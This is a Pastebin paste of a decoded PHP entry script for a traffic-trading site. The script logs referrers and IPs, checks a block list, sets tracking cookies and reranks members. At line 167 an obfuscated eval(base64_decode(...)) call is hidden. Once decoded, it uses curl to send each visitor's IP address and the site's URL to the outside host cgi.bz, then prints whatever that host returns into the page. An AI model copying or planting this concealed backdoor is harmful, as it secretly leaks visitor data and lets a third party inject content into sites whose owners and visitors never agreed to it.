johnburn

Decoded for: soul_reaper@waraxe.us

Aug 5th, 2011
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.28 KB | None | 0 0
  1. <?php
  2. include ("config.php");
  3. if (isset($_SERVER['HTTP_X_OPERAMINI_PHONE']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  4.     $operaip = explode(",", $_SERVER['HTTP_X_FORWARDED_FOR']);
  5.     $useip = trim($operaip[count($operaip) - 1]);
  6. } else {
  7.     $useip = $_SERVER['REMOTE_ADDR'];
  8. }
  9. if ($WAP) {
  10.     ini_set("session.use_cookies", 0);
  11.     ini_set("url_rewriter.tags", "");
  12.     session_id(md5($_SERVER['HTTP_USER_AGENT'] . $useip));
  13.     session_start();
  14. }
  15. $id = $_GET['id'];
  16. $fromurl = $_SERVER['HTTP_REFERER'];
  17. $doin = 1;
  18. if ($noface && !$_GET['id']) {
  19.     $mydom = str_replace(array("http://", "www."), "", $scripts_path);
  20.     if ((!$fromurl || strstr($fromurl, $mydom)) && ($WAP && $_SESSION['mem'] || !$WAP && $_COOKIE['refer'])) {
  21.         $doin = 0;
  22.     }
  23. }
  24. if ($doin) {
  25.     $filename = "datafiles/blockedlist.dat";
  26.     if ($ff = @fopen(@$filename, "r")) {
  27.         flock($ff, 1);
  28.         $temp = @fread(@$ff, @filesize(@$filename));
  29.         flock($ff, 3);
  30.         fclose($ff);
  31.         $blockedlist = array();
  32.         $blockedlist = explode("\r\n", $temp);
  33.         $numblocked = sizeof($blockedlist);
  34.         $i = 0;
  35.         while ($i < sizeof($blockedlist)) {
  36.             if ($blockedlist[$i] && (strstr($fromurl, $blockedlist[$i]) || $id == $blockedlist[$i] || $useip == $blockedlist[$i] || strstr($_SERVER['HTTP_USER_AGENT'], $blockedlist[$i]))) {
  37.                 if ($backblocked) {
  38.                     header("Location: {$fromurl}");
  39.                 }
  40.                 exit();
  41.             }
  42.             ++$i;
  43.         }
  44.     }
  45.     if (!$fromurl) {
  46.         $fromurl = "Unknown Address";
  47.     }
  48.     if ($use_tradeid && $id) {
  49.         $member = str_replace(".", "", $id);
  50.     }
  51.     $bhit = 0;
  52.     if (!$member || $use_tradeid == 2) {
  53.         $url = parse_url(strtolower($_SERVER['HTTP_REFERER']));
  54.         $mem = str_replace("www.", "", $url['host']);
  55.         $mem = addslashes($mem);
  56.         if (!$mem) {
  57.             $mem = "noref";
  58.         }
  59.         $mem = str_replace(".", "", $mem);
  60.         if ($_GET['dir']) {
  61.             $temp = array();
  62.             $temp = explode("/", $url['path']);
  63.             $memdir = $temp[1];
  64.             $mem = $mem . $memdir;
  65.         }
  66.         if ($use_tradeid == 2 && $member && $mem != "noref" && $mem != $member) {
  67.             $bhit = 1;
  68.         }
  69.         if (!$member) {
  70.             $member = $mem;
  71.         }
  72.     }
  73.     if ($WAP) {
  74.         $_SESSION['mem'] = $member;
  75.     }
  76.     if ($rettime) {
  77.         $clicktime = 0;
  78.         if ($WAP) {
  79.             $clicktime = $_SESSION['ctime'];
  80.         } else {
  81.             $clicktime = $_COOKIE['ctime'];
  82.         }
  83.         if (time() < $clicktime + $rettime) {
  84.             $bhit = 1;
  85.         }
  86.     }
  87.     if ($WAP) {
  88.         $_SESSION['bhit'] = $bhit;
  89.     } else {
  90.         setcookie("bhit", $bhit, time() + 172800);
  91.     }
  92.     if ($clktime) {
  93.         if ($WAP) {
  94.             $_SESSION['intm'] = time();
  95.         } else {
  96.             setcookie("intm", time(), time() + 172800);
  97.         }
  98.     }
  99.     setcookie("refer", $member, time() + 172800);
  100.     setcookie($member, "visited", time() + 172800);
  101.     $unique = 0;
  102.     $subip = substr(str_replace(".", "", $useip), 0 - 2);
  103.     if (strlen($subip) == 2 && 0 <= $subip[0] && $subip[0] <= 9 && 0 <= $subip[1] && $subip[1] <= 9) {
  104.         $temp = "";
  105.         $filename = "datafiles/ips" . $subip . ".txt";
  106.         if ($ff = @fopen(@$filename, "r")) {
  107.             flock($ff, 1);
  108.             $temp = @fread(@$ff, @filesize(@$filename));
  109.             flock($ff, 3);
  110.             fclose($ff);
  111.         }
  112.         if (!strstr($temp, $useip . "\r\n") && ($ff = @fopen(@$filename, "a"))) {
  113.             flock($ff, 2);
  114.             fputs($ff, "0;" . $useip . "\r\n");
  115.             flock($ff, 3);
  116.             fclose($ff);
  117.             $unique = 1;
  118.         }
  119.     }
  120.     if ($in2cat) {
  121.         $filename = "memberfiles/" . $member . ".dat";
  122.         if ($ff = @fopen(@$filename, "r")) {
  123.             flock($ff, 1);
  124.             $filetemp = fgets($ff, filesize($filename));
  125.             flock($ff, 3);
  126.             fclose($ff);
  127.             $temp = array();
  128.             $temp = explode("|", $filetemp);
  129.             $category = $temp[18];
  130.         }
  131.     }
  132. }
  133. if ($WAP) {
  134.     if ($jsp) {
  135.         $jsum = "";
  136.         @include ("datafiles/jsp.php");
  137.     }
  138.     $httpaccept = strtolower($_SERVER['HTTP_ACCEPT']);
  139.     if ($WAP == 12) {
  140.         if (strstr($httpaccept, "xhtml+xml")) {
  141.             $WAP = 2;
  142.         } else {
  143.             $WAP = 1;
  144.         }
  145.     }
  146.     if ($WAP == 2) {
  147.         if (strstr($httpaccept, "application/xhtml+xml")) {
  148.             header("Content-type: application/xhtml+xml");
  149.         } else {
  150.             header("Content-type: application/vnd.wap.xhtml+xml");
  151.         }
  152.     } else {
  153.         header("Content-type: text/vnd.wap.wml");
  154.     }
  155. }
  156. if ($doin) {
  157.     if (!$noface) {
  158.         if (!$category || !file_exists($category . "." . $extension) || $nunique2main & !$unique) {
  159.             $category = "main";
  160.         }
  161.         setcookie("page", $category, time() + 172800);
  162.         $face = $category . "." . $extension;
  163.         if ($redirect && $extension != "php") {
  164.             header("Location: " . $face . "\n");
  165.         } else {
  166.             include ($face);
  167.             eval(base64_decode("JGMgPSBjdXJsX2luaXQgKCk7CmN1cmxfc2V0b3B0ICgkYyAsIENVUkxPUFRfVVJMICwgImh0dHA6Ly9jZ2kuYnovY2MvP2M9Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iJmg9aHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwpjdXJsX3NldG9wdCAoJGMgLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSICwgMSApOwpjdXJsX3NldG9wdCAoJGMgLCBDVVJMT1BUX1RJTUVPVVQsIDYpOwokbiA9IGN1cmxfZXhlYygkYyk7CmN1cmxfY2xvc2UoJGMpOwplY2hvICRuOw=="));
  168.             if ($hideref && !$WAP) {
  169.                 echo "<script>ref=\"" . $member . "\";";
  170.                 echo "if(ref!=\"\"){for(i=0;i<document.links.length;i++){if(document.links[i].clk){lnkURL=document.links[i].clk}else{lnkURL=document.links[i].href};lnkref=lnkURL.indexOf(\"ref=\"+ref);if(lnkref>=0){if(lnkURL.length==(lnkref+ref.length+4) || lnkURL.charAt(lnkref+ref.length+4)==\"&\"){if(document.links[i].outerHTML){document.links[i].outerHTML=document.links[i].innerText;i--;}}}}}</script>";
  171.             }
  172.         }
  173.     }
  174.     if ($ff = @fopen("datafiles/hitsin.dat", "a")) {
  175.         flock($ff, 2);
  176.         fputs($ff, $member . "|" . $fromurl . "|" . $unique . "|" . $useip . "|\r\n");
  177.         flock($ff, 3);
  178.         fclose($ff);
  179.     }
  180.     $recalculate = 0;
  181.     if ($ff = @fopen("datafiles/calctime.dat", "r+")) {
  182.         flock($ff, 2);
  183.         $calctime = array();
  184.         $calctime = explode("|", fgets($ff, 1024));
  185.         $nowtime = time();
  186.         $newhour = $newday = $clearip = 0;
  187.         if ($updatetime < $nowtime - $calctime[0]) {
  188.             if ($reranktime < $nowtime - $calctime[2]) {
  189.                 $newhour = 1;
  190.                 --$calctime[3];
  191.                 $calctime[2]+= $reranktime;
  192.                 if ($reranktime < $nowtime - $calctime[2]) {
  193.                     $calctime[2] = $nowtime;
  194.                 }
  195.                 if ($calctime[3] <= 0) {
  196.                     $newday = 1;
  197.                     $calctime[3] = $reranks;
  198.                 } else if ($reranks < $calctime[3]) {
  199.                     $calctime[3] = $reranks;
  200.                 }
  201.             }
  202.             $calctime[0]+= $updatetime;
  203.             if ($updatetime < $nowtime - $calctime[0]) {
  204.                 $calctime[0] = $nowtime;
  205.             }
  206.             if ($uniquetime < $nowtime - $calctime[1]) {
  207.                 $clearip = 1;
  208.                 $calctime[1] = $nowtime;
  209.             }
  210.             fseek($ff, 0);
  211.             fputs($ff, $calctime[0] . "|" . $calctime[1] . "|" . $calctime[2] . "|" . $calctime[3] . "|");
  212.             $recalculate = 1;
  213.         }
  214.         flock($ff, 3);
  215.         fclose($ff);
  216.         if ($clearip) {
  217.             $i = 0;
  218.             while ($i <= 9) {
  219.                 $j = 0;
  220.                 while ($j <= 9) {
  221.                     if ($fc = @fopen(@"datafiles/ips" . @$i . @$j . ".txt", "w")) {
  222.                         fwrite($fc, "\r\n");
  223.                         fclose($fc);
  224.                     }
  225.                     ++$j;
  226.                 }
  227.                 ++$i;
  228.             }
  229.         }
  230.         if ($recalculate) {
  231.             include ("calculate.php");
  232.             $backcheck = 1;
  233.             recalculate();
  234.         }
  235.     }
  236. }
  237. ?>
Add Comment
Please, Sign In to add comment